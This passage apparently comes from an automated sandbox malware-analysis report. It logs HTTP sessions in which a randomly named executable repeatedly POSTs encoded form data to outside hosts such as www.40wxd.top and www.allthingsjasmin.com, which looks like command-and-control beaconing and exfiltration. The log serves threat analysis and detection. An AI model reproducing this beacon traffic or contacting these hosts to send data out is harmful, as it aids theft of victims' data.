Oct 9, 2024 14:08:33.861129999 CEST	412	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 09 Oct 2024 12:08:33 GMT Content-Type: text/html Content-Length: 272 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 5a 5a 59 3d 38 33 5a 68 67 66 67 36 74 75 2f 66 6f 4d 47 61 31 72 64 34 47 38 6d 76 5a 38 4a 30 63 74 54 31 73 51 74 41 41 38 33 30 37 77 6c 36 66 70 58 6d 74 59 4e 67 53 30 68 34 37 68 50 63 74 58 59 7a 69 33 6b 72 41 4b 2b 54 75 4d 6b 38 4e 4e 4e 55 63 37 2f 7a 6c 69 7a 46 69 34 2b 75 4c 7a 6a 36 4a 65 49 39 48 4f 77 6e 76 4f 4d 6c 39 69 73 57 34 45 4d 2f 30 69 74 66 42 74 4f 38 2b 71 62 6f 74 75 53 4a 55 5a 31 76 49 32 54 52 26 6d 48 6d 30 6f 3d 72 72 71 68 6f 48 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ZZY=83Zhgfg6tu/foMGa1rd4G8mvZ8J0ctT1sQtAA8307wl6fpXmtYNgS0h47hPctXYzi3krAK+TuMk8NNNUc7/zlizFi4+uLzj6JeI9HOwnvOMl9isW4EM/0itfBtO8+qbotuSJUZ1vI2TR&mHm0o=rrqhoH"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	50009	206.119.82.134	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:39.081228971 CEST	665	OUT	POST /0cbg/ HTTP/1.1 Host: www.40wxd.top Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.40wxd.top Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.40wxd.top/0cbg/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 63 63 39 69 78 45 65 6e 50 47 65 6f 41 52 77 75 4a 76 53 66 68 61 37 54 55 6a 64 59 41 47 61 54 70 69 37 72 4a 56 79 41 46 58 79 52 6b 47 54 54 6a 66 58 5a 49 49 54 48 41 4e 76 74 6b 43 30 35 38 6c 55 6d 54 78 66 36 45 76 59 38 6b 48 6a 62 6b 72 4f 47 62 4f 72 43 33 6b 6f 34 2b 39 79 31 77 67 6d 56 77 65 41 74 77 70 37 59 59 54 64 7a 56 46 54 31 49 76 74 77 66 53 4f 50 34 33 67 4d 77 53 2f 35 64 67 35 79 61 30 73 6f 74 76 30 2f 37 31 76 2f 55 5a 30 78 39 6c 48 32 4f 74 46 50 58 32 44 4a 43 6e 50 67 48 58 77 31 4c 71 68 2b 59 33 68 70 2b 46 4a 70 63 63 6f 38 61 45 45 4c 61 79 59 7a 42 77 51 4d 79 34 46 52 58 39 64 69 4b 67 3d 3d Data Ascii: ZZY=cc9ixEenPGeoARwuJvSfha7TUjdYAGaTpi7rJVyAFXyRkGTTjfXZIITHANvtkC058lUmTxf6EvY8kHjbkrOGbOrC3ko4+9y1wgmVweAtwp7YYTdzVFT1IvtwfSOP43gMwS/5dg5ya0sotv0/71v/UZ0x9lH2OtFPX2DJCnPgHXw1Lqh+Y3hp+FJpcco8aEELayYzBwQMy4FRX9diKg==
Oct 9, 2024 14:08:39.958683968 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:08:39 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	50010	206.119.82.134	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:41.623748064 CEST	685	OUT	POST /0cbg/ HTTP/1.1 Host: www.40wxd.top Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.40wxd.top Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.40wxd.top/0cbg/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 63 63 39 69 78 45 65 6e 50 47 65 6f 42 77 67 75 4c 4d 4b 66 77 36 37 55 4b 54 64 59 50 6d 61 58 70 6a 48 72 4a 57 2b 51 46 69 61 52 6c 6d 44 54 67 65 58 5a 4a 49 54 48 4b 74 76 73 72 69 30 45 38 6c 59 75 54 78 6a 36 45 76 63 38 6b 44 76 62 6c 59 57 46 62 65 72 41 2f 45 6f 2b 7a 64 79 31 77 67 6d 56 77 66 6b 58 77 70 7a 59 62 6a 42 7a 55 6e 37 32 4c 76 74 33 57 79 4f 50 38 33 67 51 77 53 2f 62 64 6c 67 58 61 78 6f 6f 74 75 45 2f 2f 78 44 38 64 5a 30 33 77 46 47 45 4e 38 6b 41 58 30 4b 37 48 6d 4c 65 4b 67 6b 4b 48 38 38 63 43 56 74 46 67 55 78 53 59 65 4d 4b 4e 69 5a 2b 59 7a 63 72 4d 53 6b 74 74 50 67 37 61 76 38 6d 63 63 39 53 33 77 64 66 79 71 55 51 46 64 39 4d 58 39 64 69 6c 48 6b 3d Data Ascii: ZZY=cc9ixEenPGeoBwguLMKfw67UKTdYPmaXpjHrJW+QFiaRlmDTgeXZJITHKtvsri0E8lYuTxj6Evc8kDvblYWFberA/Eo+zdy1wgmVwfkXwpzYbjBzUn72Lvt3WyOP83gQwS/bdlgXaxootuE//xD8dZ03wFGEN8kAX0K7HmLeKgkKH88cCVtFgUxSYeMKNiZ+YzcrMSkttPg7av8mcc9S3wdfyqUQFd9MX9dilHk=
Oct 9, 2024 14:08:42.498958111 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:08:42 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	50011	206.119.82.134	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:44.548331022 CEST	1698	OUT	POST /0cbg/ HTTP/1.1 Host: www.40wxd.top Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.40wxd.top Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.40wxd.top/0cbg/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 63 63 39 69 78 45 65 6e 50 47 65 6f 42 77 67 75 4c 4d 4b 66 77 36 37 55 4b 54 64 59 50 6d 61 58 70 6a 48 72 4a 57 2b 51 46 69 43 52 6b 51 50 54 6e 4e 76 5a 62 34 54 48 4a 74 76 78 72 69 30 6a 38 6c 51 71 54 78 76 71 45 74 55 38 69 6d 7a 62 69 74 36 46 55 65 72 41 67 30 6f 2f 2b 39 7a 74 77 67 57 52 77 66 30 58 77 70 7a 59 62 68 31 7a 58 31 54 32 4e 76 74 77 66 53 4f 4c 34 33 67 73 77 54 58 68 64 6b 56 69 61 69 51 6f 74 4f 55 2f 35 55 76 38 41 70 30 31 31 46 47 63 4e 38 70 41 58 30 58 43 48 6d 76 30 4b 6e 49 4b 48 36 78 59 51 6b 42 56 39 46 4e 4a 61 74 38 38 4e 41 78 44 54 31 55 2f 4c 6c 49 53 6e 34 6f 35 53 50 63 30 65 49 51 76 67 41 6b 73 78 71 59 7a 49 35 73 49 4c 74 74 31 35 41 56 45 6a 75 50 39 52 32 6e 79 64 4a 30 4a 33 62 33 61 33 38 32 63 53 58 53 69 57 77 69 4d 31 64 4e 31 63 6f 48 4c 70 74 4b 45 67 33 4b 39 52 4f 78 67 76 46 77 47 38 75 43 6b 6b 42 74 70 54 38 33 65 48 53 73 4c 75 38 46 45 69 64 44 42 78 63 6c 37 69 39 56 5a 76 78 32 4b 62 47 4f 41 34 43 63 6a 49 74 35 49 6e 2b [TRUNCATED] Data Ascii: ZZY=cc9ixEenPGeoBwguLMKfw67UKTdYPmaXpjHrJW+QFiCRkQPTnNvZb4THJtvxri0j8lQqTxvqEtU8imzbit6FUerAg0o/+9ztwgWRwf0XwpzYbh1zX1T2NvtwfSOL43gswTXhdkViaiQotOU/5Uv8Ap011FGcN8pAX0XCHmv0KnIKH6xYQkBV9FNJat88NAxDT1U/LlISn4o5SPc0eIQvgAksxqYzI5sILtt15AVEjuP9R2nydJ0J3b3a382cSXSiWwiM1dN1coHLptKEg3K9ROxgvFwG8uCkkBtpT83eHSsLu8FEidDBxcl7i9VZvx2KbGOA4CcjIt5In+cCCsXag3feTyGJDq3cdiAsiCZlaMA7ksFrQgSPLSVZ4TzI0MrUsz4s+VfBcctoHY08JkSV6vvKrN7a9biE354iUTPPHMnZuBjAq2bnN1HgdzuHRAHDywO6MxUpFOW6XqKs4ORwPHGaLEgAaIU2aspcq0yVzq7Ir16NnqpK+B8Sy3SJTViwiM4IDKP9ZxDlF1vdtB47ia79Zq06qBs4m0I5NggMoVEntXluminbFAfkez1waTKJfSYPkYsTUM7ZQFCXfJxUrwDs+nsRHOtBvzVoxLNh7pXKxrUWSYZbq95itYHqhnodKAsopzSbiQPNvSHeQH//klLqxFJk8ILK+o1OJPLKqn2XuylHnPJBouflE6pufalG0p49k3bjPABLrrAyzG0RX74fA1oofxN6FzScUIHosADrIiw/rNabi4e9jMbJ9lZbZXcGczsAj/cw2CNkqxKp5P86WD+wT+Ob+3TnTI/wcqWvIbraBYM2eaFYCqZN+MUdocHjS1r3MY4HJCCLjxcKoUtrlBylhP6oh1KIl0wdjI6y9tAihifshabarQ9W4eRsstJd7RQNXCJhsZESZ/Y61dBCPz8GgdO2ItX244BfCwfh1V2aBFjU9dVkBqHTlez4Y4DVgPa5zfayHTgE7A0uvENG9/mr1O+apQGqfOYoT1Y+DRuU [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	50012	206.119.82.134	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:47.089133978 CEST	412	OUT	GET /0cbg/?ZZY=ReVCyzq7e32zPSksEOCt3pbKcx4rKGTIyRipE0uGIQ28zkTth8noQJXIJc3ts0ISqVogbi/TYpoiqGzNpNOIXMLKx0kCr+Xw6Q+8qepVva7bCGUCYF3oCYt7aX6G3loK+iyEYGVwNCt0&mHm0o=rrqhoH HTTP/1.1 Host: www.40wxd.top Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:08:47.992333889 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:08:47 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	50013	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:53.050594091 CEST	695	OUT	POST /eysm/ HTTP/1.1 Host: www.allthingsjasmin.com Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.allthingsjasmin.com Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.allthingsjasmin.com/eysm/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 6d 6b 74 47 62 69 64 57 7a 41 47 65 52 62 61 78 68 2f 71 61 41 43 79 38 50 4d 4a 31 72 75 73 67 59 76 51 63 6b 32 67 67 35 47 62 4b 42 61 45 51 69 37 6a 51 33 4c 68 75 4c 6d 70 51 58 41 75 32 68 6b 4f 65 48 31 34 35 54 4d 44 2b 47 30 6c 6d 46 56 4b 47 6d 70 51 73 56 58 35 6d 63 4e 64 4c 74 4b 32 37 52 46 70 6b 5a 33 77 64 56 32 4d 49 4e 63 4e 6a 55 4d 78 48 54 77 62 30 6d 55 33 63 75 32 57 42 73 68 44 75 57 79 38 45 6e 69 72 6f 62 31 6c 76 2f 54 74 6d 4a 56 47 59 6e 6b 61 79 32 47 7a 68 70 36 55 7a 55 6c 74 34 48 4f 4e 75 31 76 66 2b 33 71 45 79 73 6c 66 65 69 4d 37 4d 57 4b 2f 56 4d 36 77 70 39 43 42 45 56 64 49 56 6d 51 3d 3d Data Ascii: ZZY=mktGbidWzAGeRbaxh/qaACy8PMJ1rusgYvQck2gg5GbKBaEQi7jQ3LhuLmpQXAu2hkOeH145TMD+G0lmFVKGmpQsVX5mcNdLtK27RFpkZ3wdV2MINcNjUMxHTwb0mU3cu2WBshDuWy8Enirob1lv/TtmJVGYnkay2Gzhp6UzUlt4HONu1vf+3qEyslfeiM7MWK/VM6wp9CBEVdIVmQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	50014	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:55.593177080 CEST	715	OUT	POST /eysm/ HTTP/1.1 Host: www.allthingsjasmin.com Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.allthingsjasmin.com Content-Length: 236 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.allthingsjasmin.com/eysm/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 6d 6b 74 47 62 69 64 57 7a 41 47 65 44 76 6d 78 79 73 53 61 58 79 79 37 57 38 4a 31 77 2b 73 73 59 76 4d 63 6b 33 6c 37 2b 79 33 4b 42 2b 41 51 6a 35 4c 51 30 4c 68 75 54 57 70 4d 59 67 75 35 68 6b 4c 68 48 77 41 35 54 50 2f 2b 47 78 5a 6d 46 6d 79 5a 30 70 51 71 4e 6e 35 6b 52 74 64 4c 74 4b 32 37 52 46 74 65 5a 33 49 64 57 43 77 49 4c 39 4e 67 64 73 78 47 55 77 62 30 77 6b 33 59 75 32 58 73 73 6c 6a 55 57 77 30 45 6e 69 37 6f 61 6b 6c 73 6d 6a 74 73 57 6c 48 36 6f 55 7a 6a 79 44 58 35 6a 62 63 62 53 79 5a 62 47 34 51 4d 76 4e 54 53 70 37 38 4a 6f 6e 37 6f 31 71 6d 35 55 4c 37 4e 42 59 45 49 69 31 6b 75 59 50 70 52 77 71 43 4b 6a 78 6d 45 68 5a 42 74 2b 6d 6b 67 38 62 37 48 77 37 34 3d Data Ascii: ZZY=mktGbidWzAGeDvmxysSaXyy7W8J1w+ssYvMck3l7+y3KB+AQj5LQ0LhuTWpMYgu5hkLhHwA5TP/+GxZmFmyZ0pQqNn5kRtdLtK27RFteZ3IdWCwIL9NgdsxGUwb0wk3Yu2XssljUWw0Eni7oaklsmjtsWlH6oUzjyDX5jbcbSyZbG4QMvNTSp78Jon7o1qm5UL7NBYEIi1kuYPpRwqCKjxmEhZBt+mkg8b7Hw74=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	50015	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:08:58.138783932 CEST	1728	OUT	POST /eysm/ HTTP/1.1 Host: www.allthingsjasmin.com Accept: / Accept-Language: en-US,en Accept-Encoding: gzip, deflate Origin: http://www.allthingsjasmin.com Content-Length: 1248 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Referer: http://www.allthingsjasmin.com/eysm/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36 Data Raw: 5a 5a 59 3d 6d 6b 74 47 62 69 64 57 7a 41 47 65 44 76 6d 78 79 73 53 61 58 79 79 37 57 38 4a 31 77 2b 73 73 59 76 4d 63 6b 33 6c 37 2b 79 2f 4b 41 4c 55 51 69 65 2f 51 31 4c 68 75 61 32 70 50 59 67 75 67 68 6b 79 6f 48 77 45 70 54 4a 37 2b 48 54 68 6d 4d 33 79 5a 75 35 51 71 45 48 35 6c 63 4e 63 54 74 4b 6d 33 52 46 39 65 5a 33 49 64 57 45 55 49 4d 73 4e 67 62 73 78 48 54 77 62 34 6d 55 33 67 75 32 50 53 73 6b 6a 45 57 42 55 45 6b 44 4c 6f 58 79 78 73 75 6a 74 69 56 6c 48 63 6f 55 75 37 79 44 6a 66 6a 62 6f 31 53 31 31 62 48 38 68 54 34 76 4c 4e 31 39 39 55 6a 55 62 30 31 73 72 4a 4d 34 58 36 4c 49 41 63 76 6c 59 59 42 2f 46 44 36 74 44 30 2b 48 57 37 6c 4c 70 72 2b 68 64 38 37 75 72 7a 6d 4e 38 4b 38 4a 6e 4d 31 6b 74 46 6d 41 46 6a 44 59 35 47 52 56 69 45 6b 32 74 68 7a 67 72 79 4c 2f 46 77 5a 42 6b 35 6e 33 6c 45 65 54 38 4a 4e 49 36 75 65 33 2b 30 65 6f 76 6a 52 61 56 51 33 48 6f 72 73 69 53 4d 64 7a 2f 65 66 48 6c 33 43 56 37 55 62 49 37 6c 56 5a 71 35 48 56 59 76 4a 38 56 52 47 71 76 59 43 4c [TRUNCATED] Data Ascii: ZZY=mktGbidWzAGeDvmxysSaXyy7W8J1w+ssYvMck3l7+y/KALUQie/Q1Lhua2pPYgughkyoHwEpTJ7+HThmM3yZu5QqEH5lcNcTtKm3RF9eZ3IdWEUIMsNgbsxHTwb4mU3gu2PSskjEWBUEkDLoXyxsujtiVlHcoUu7yDjfjbo1S11bH8hT4vLN199UjUb01srJM4X6LIAcvlYYB/FD6tD0+HW7lLpr+hd87urzmN8K8JnM1ktFmAFjDY5GRViEk2thzgryL/FwZBk5n3lEeT8JNI6ue3+0eovjRaVQ3HorsiSMdz/efHl3CV7UbI7lVZq5HVYvJ8VRGqvYCL15LQP/NySkBw6K60Yp1eFdSjTKMtEcqmRx0zshgO8RFam+x8PEVowkIctdyUg+7Jwp/OMFAiL7TX4KvziIYvewOzLrEH/GvqdAgjZuwSmd7FeX5gXjen99EzfgD0UP0E8B/3Oa/maBNdKAhtfd94AQPeQb1lUBT0UOnm44IeEH4Fbs420cI09dSQowznfEFutpm26BgMUTdgPw6d1/a2uhtThWAKckRNRbs8FMQ0yaAv6oVKDXhJG20AGdb+ZVl6zrU07pTdp6ATJgT2k2OLbBfTdfkyXFFcfUbFZQ12/cGghvAg0nlwu8YVqwAFo7y992SeE+KYNzxW6OkWRQu/wue1XXZMvWTgTOYcuB6gRfTTGbVJMTWEttNXbfOm71YEgV8TgtskU3GgrqwOBdYrSRDbt/zLb5w1W7Gl0y8p2/PQ5P7/kV+U1F0k9rMvGM7s+cp3vT7STQySn0j5fF3mQFldgDYfT/pXQR/BV3BN9J16wA7TrM0NUpkwmM5eJtTKpdRQHOLhKUsT4nXwjRShSucMEGaLy76NJrb+79c+vOAmIiYXQe9ebggPYIyyDF03Z47r5cGR2f2mVgh8SjAZZ6H3dN1s5+W8/L+BRfInC5mAxWHsW8nwuVsPg4YrKYS9pXYB4/3ES1U3cOLLqoY8DJeo29fOBqrmEs [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	50016	3.33.130.190	80	1104	C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:09:00.683294058 CEST	422	OUT	GET /eysm/?ZZY=rmFmYSV40EyuHaS2kdWsBSatZMcowP18dPlfx0Yf8gPpQKE966Dkx6Jhfns0QUWGli+3EHMWEp7NMhxdNQGBoYEKFyRFG/hWuIrsEVQcMyBNET9pI9FmSsALbFuO7R/DpXmPiDL0RAp8&mHm0o=rrqhoH HTTP/1.1 Host: www.allthingsjasmin.com Accept: / Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36
Oct 9, 2024 14:09:01.139355898 CEST	412	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 09 Oct 2024 12:09:01 GMT Content-Type: text/html Content-Length: 272 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 5a 5a 59 3d 72 6d 46 6d 59 53 56 34 30 45 79 75 48 61 53 32 6b 64 57 73 42 53 61 74 5a 4d 63 6f 77 50 31 38 64 50 6c 66 78 30 59 66 38 67 50 70 51 4b 45 39 36 36 44 6b 78 36 4a 68 66 6e 73 30 51 55 57 47 6c 69 2b 33 45 48 4d 57 45 70 37 4e 4d 68 78 64 4e 51 47 42 6f 59 45 4b 46 79 52 46 